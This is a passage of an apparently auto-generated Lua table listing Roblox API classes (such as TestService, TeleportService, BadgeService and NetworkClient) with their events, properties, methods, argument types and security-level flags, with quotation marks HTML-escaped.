 Arguments = {
 },
 Name = &quot;GetLastForce&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;lastForce&quot;
 }
 }
 },
 PersonalServerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PersonalServerService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;string&quot;,
 Name = &quot;RoleSets&quot;,
 RobloxScriptSecurity = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Demote&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Promote&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;personalServerGetRankUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPersonalServerGetRankUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;personalServerRoleSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPersonalServerRoleSetsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;personalServerSetRankUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPersonalServerSetRankUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetRoleSets&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Color3Value = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Color3&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Color3&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;Color3Value&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Color3&quot;
 }
 },
 Methods = {
 }
 },
 ManualGlue = {
 Inherits = &quot;ManualSurfaceJointInstance&quot;,
 Events = {
 },
 ClassName = &quot;ManualGlue&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Platform = {
 Inherits = &quot;Part&quot;,
 Events = {
 },
 ClassName = &quot;Platform&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Seat = {
 Inherits = &quot;Part&quot;,
 Events = {
 },
 ClassName = &quot;Seat&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Disabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 PlayerGui = {
 Inherits = &quot;BasePlayerGui&quot;,
 Events = {
 },
 ClassName = &quot;PlayerGui&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 Debris = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Debris&quot;,
 Callbacks = {
 },
 Properties = {
 {
 deprecated = true,
 Type = &quot;int&quot;,
 Name = &quot;MaxItems&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;item&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;lifetime&quot;,
 DefaultValue = &quot;10&quot;
 }
 },
 Name = &quot;AddItem&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetLegacyMaxItems&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;item&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;lifetime&quot;,
 DefaultValue = &quot;10&quot;
 }
 },
 Name = &quot;addItem&quot;,
 deprecated = true
 }
 }
 },
 NetworkClient = {
 Inherits = &quot;NetworkPeer&quot;,
 Events = {
 {
 Name = &quot;ConnectionAccepted&quot;,
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;replicator&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ConnectionFailed&quot;,
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;code&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;reason&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;ConnectionRejected&quot;,
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 }
 }
 }
 },
 ClassName = &quot;NetworkClient&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Ticket&quot;,
 Type = &quot;string&quot;
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;blockDuration&quot;,
 DefaultValue = &quot;3000&quot;
 }
 },
 Name = &quot;Disconnect&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;server&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;serverPort&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;clientPort&quot;,
 DefaultValue = &quot;0&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;threadSleepTime&quot;,
 DefaultValue = &quot;30&quot;
 }
 },
 Name = &quot;PlayerConnect&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Vector3Value = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Vector3&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;Vector3Value&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Flag = {
 Inherits = &quot;Tool&quot;,
 Events = {
 },
 ClassName = &quot;Flag&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 UserInputService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 },
 Name = &quot;JumpRequest&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;touch&quot;,
 Type = &quot;InputObject&quot;
 }
 },
 Name = &quot;TouchEnded&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 }
 },
 Name = &quot;TouchLongPress&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;touch&quot;,
 Type = &quot;InputObject&quot;
 }
 },
 Name = &quot;TouchMoved&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;scale&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;velocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;TouchPinch&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;rotation&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;velocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;TouchRotate&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;touch&quot;,
 Type = &quot;InputObject&quot;
 }
 },
 Name = &quot;TouchStarted&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;swipeDirection&quot;,
 Type = &quot;SwipeDirection&quot;
 }
 },
 Name = &quot;TouchSwipe&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 }
 },
 Name = &quot;TouchTap&quot;,
 RobloxSecurity = true
 }
 },
 ClassName = &quot;UserInputService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;GamepadEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;KeyboardEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;MouseEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TouchControlsEnabled&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TouchEnabled&quot;,
 readonly = true
 }
 },
 Methods = {
 }
 },
 TweenService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TweenService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BindableEvent = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Event&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 }
 }
 },
 ClassName = &quot;BindableEvent&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 },
 Name = &quot;Fire&quot;
 }
 }
 },
 GuiBase3d = {
 Inherits = &quot;GuiBase&quot;,
 Events = {
 },
 ClassName = &quot;GuiBase3d&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Color&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;Transparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Visible&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 AnimationTrack = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;KeyframeReached&quot;,
 Arguments = {
 {
 Name = &quot;keyframeName&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 },
 Name = &quot;Stopped&quot;
 }
 },
 ClassName = &quot;AnimationTrack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;speed&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;AdjustSpeed&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;weight&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;fadeTime&quot;,
 DefaultValue = &quot;0.100000001&quot;
 }
 },
 Name = &quot;AdjustWeight&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;fadeTime&quot;,
 DefaultValue = &quot;0.100000001&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;weight&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;speed&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;Play&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;fadeTime&quot;,
 DefaultValue = &quot;0.100000001&quot;
 }
 },
 Name = &quot;Stop&quot;
 }
 }
 },
 UserSettings = {
 Inherits = &quot;GenericSettings&quot;,
 Events = {
 },
 ClassName = &quot;UserSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Reset&quot;
 }
 }
 },
 TestService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ServerCollectConditionalResult&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;ServerCollectResult&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;TestService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AutoRuns&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ErrorCount&quot;,
 readonly = true
 },
 {
 Name = &quot;Is30FpsThrottleEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsPhysicsEnvironmentalThrottled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsSleepAllowed&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;NumberOfPlayers&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;TestCount&quot;,
 readonly = true
 },
 {
 Name = &quot;Timeout&quot;,
 Type = &quot;double&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;WarnCount&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Check&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Checkpoint&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DoCommand&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Done&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Error&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Fail&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetCommandNames&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;IsCommandChecked&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;IsCommandEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Message&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Require&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Warn&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Run&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Button = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Click&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Button&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetActive&quot;,
 LocalUserSecurity = true
 }
 }
 },
 TeleportService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TeleportService&quot;,
 Callbacks = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;spawnName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ConfirmationCallback&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ErrorCallback&quot;,
 RobloxScriptSecurity = true
 }
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;Teleport&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;TeleportCancel&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;spawnName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TeleportImpl&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;spawnName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TeleportToSpawnByName&quot;
 }
 }
 },
 PlayerHUD = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;PlayerHUD&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Backpack = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;Backpack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Teams = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Teams&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetTeams&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;RebalanceTeams&quot;
 }
 }
 },
 PhysicsService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PhysicsService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 NetworkMarker = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Received&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;NetworkMarker&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 CustomEventReceiver = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;EventConnected&quot;,
 Arguments = {
 {
 Name = &quot;event&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;EventDisconnected&quot;,
 Arguments = {
 {
 Name = &quot;event&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;SourceValueChanged&quot;,
 Arguments = {
 {
 Name = &quot;newValue&quot;,
 Type = &quot;float&quot;
 }
 }
 }
 },
 ClassName = &quot;CustomEventReceiver&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Source&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetCurrentValue&quot;
 }
 }
 },
 TaskScheduler = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TaskScheduler&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AreArbitersThrottled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Concurrency&quot;,
 Type = &quot;ConcurrencyModel&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;NumRunningJobs&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;NumSleepingJobs&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;NumWaitingJobs&quot;,
 readonly = true
 },
 {
 Name = &quot;PriorityMethod&quot;,
 Type = &quot;PriorityMethod&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;SchedulerDutyCycle&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;SchedulerRate&quot;,
 readonly = true
 },
 {
 Name = &quot;SleepAdjustMethod&quot;,
 Type = &quot;SleepAdjustMethod&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;ThreadAffinity&quot;,
 readonly = true
 },
 {
 Name = &quot;ThreadPoolConfig&quot;,
 Type = &quot;ThreadPoolConfig&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ThreadPoolSize&quot;,
 readonly = true
 },
 {
 Name = &quot;ThrottledJobSleepTime&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;exclusive&quot;,
 DefaultValue = &quot;true&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;fps&quot;,
 DefaultValue = &quot;30&quot;
 }
 },
 Name = &quot;AddDummyJob&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;timeSlice&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;numShare&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetThreadShare&quot;,
 deprecated = true,
 LocalUserSecurity = true
 }
 }
 },
 BasePlayerGui = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BasePlayerGui&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 LuaWebService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;LuaWebService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 StudioTool = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Activated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Deactivated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Equipped&quot;,
 Arguments = {
 {
 Name = &quot;mouse&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Unequipped&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;StudioTool&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 StringValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;StringValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 RunningAverageItemInt = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;RunningAverageItemInt&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Sky = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Sky&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CelestialBodiesShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SkyboxBk&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxDn&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxFt&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxLf&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxRt&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxUp&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;StarCount&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 BadgeService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;BadgeAwarded&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;BadgeService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAwardBadgeUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetHasBadgeCooldown&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetHasBadgeUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetIsBadgeDisabledUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetIsBadgeLegalUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetPlaceId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;AwardBadge&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsDisabled&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsLegal&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;UserHasBadge&quot;
 }
 }
 },
 ProfilingItem = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;ProfilingItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
